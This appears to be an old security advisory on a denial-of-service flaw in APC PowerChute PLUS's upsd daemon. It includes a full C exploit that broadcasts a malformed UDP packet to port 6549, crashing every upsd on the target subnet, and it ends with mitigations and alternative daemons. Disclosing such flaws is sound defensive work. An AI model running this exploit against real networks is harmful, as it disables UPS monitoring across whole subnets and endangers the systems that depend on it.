COMMAND
UPS
SYSTEMS AFFECTED
Systems running APC UPS PowerChute PLUS v4.2.2 (prior?)
PROBLEM
Theo Schlossnagle foound following (tested under Solaris x86 2.5,
2.5.1, 2.6 with a APC Smart UPS 700). The PowerChute PLUS
software distributed with the UPSs provides a TCP/IP (UDP/IP) way
to communicate with (for monitoring) UPS on the local subnet. It
listens on port 6549 and listens for broadcast requests (UDP). So
if you make as if you are actually requesting information, but
send it the wrong packet... Well end of ./_upsd (the name of the
daemon). The REALLY BAD news is that ALL upsd's on the subnet are
effected (UDP broadcast).
Exploit follows, but before that note that you don't need a
specific exploit program to crash PowerChute software. Some
port-scanners will crash it (UNIX and NT platform).
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
int main(int argc, char **argv) {
int s;
long on=1;
size_t addrsize;
char buffer[256];
struct sockaddr_in toaddr, fromaddr;
struct hostent h_ent;
if(argc!=2) {
fprintf(stderr, "Usage:\n\t%s <hostname running upsd>\n", argv[0]);
exit(0);
}
s = socket(AF_INET,SOCK_DGRAM,0);
setsockopt(s, SOL_SOCKET, SO_BROADCAST, (char *)&on, sizeof(on));
printf("Crashing upsd on host's subnet: %s\n", argv[1]);
toaddr.sin_family = AF_INET;
toaddr.sin_port = htons(0);
toaddr.sin_addr.s_addr = 0x00000000;
bind(s, (struct sockaddr *)&toaddr, sizeof(struct sockaddr_in));
toaddr.sin_port = htons(6549);
memcpy((char *)&h_ent, (char *)gethostbyname(argv[1]), sizeof(h_ent));
memcpy(&toaddr.sin_addr.s_addr, h_ent.h_addr, sizeof(struct in_addr));
toaddr.sin_addr.s_addr |= 0xff000000;
strcpy(buffer, "027|1|public|9|0|0|2010~|0\0");
sendto(s, buffer, 256, 0, (struct sockaddr *)&toaddr,
sizeof(struct sockaddr_in));
printf("Crashed...\n");
close(s);
}
Let's hope this UDP port is just used by the UPS's to report
problems, and that PowerChute doesn't use that to make critical
decisions (like shutdown).
SOLUTION
Use the freely availavle upsd without TCP/IP control. It works
well well with the PowerChute Series. Also, Powerchute software
will not listen on the net if you have the following in
powerchute.ini:
[ Network ]
UseTCP = NO
With UseTCP set to NO this machine doesn't show up in the list of
remote ups's when using the powerchute admin interface from
another machine on the same subnet.
There's also a program available called 'apcupsd' which has some
really nice features if you have an APC UPS. With a BkPro500 and
works great. The machine with the UPS will even let other
machines on the network know when there are power problems. There
is also apcd using smart mode, reporting status info and being
able to chain daemons and shut down more than one machines. Source
IS available, a safe bet is the Debian/Linux source tree all
around the world, for example:
ftp://ftp.us.debian.org/debian/dists/hamm/main/source/admin/apcd_*
There is a simple C++ class that allows monitoring of UPS on the
network via UDP. This distribution also includes the "exploit"
that forces _upsd to just "go away" on machines running it
listening to UDP. The GUI stuff is written in Motif. And it was
developed on Solaris, so good luck you are running a different
platform. There aren't all that many syscalls, so it wouldn't
imagine it being hard to port:
http://www.omniti.com/~jesus/xups.tar.gz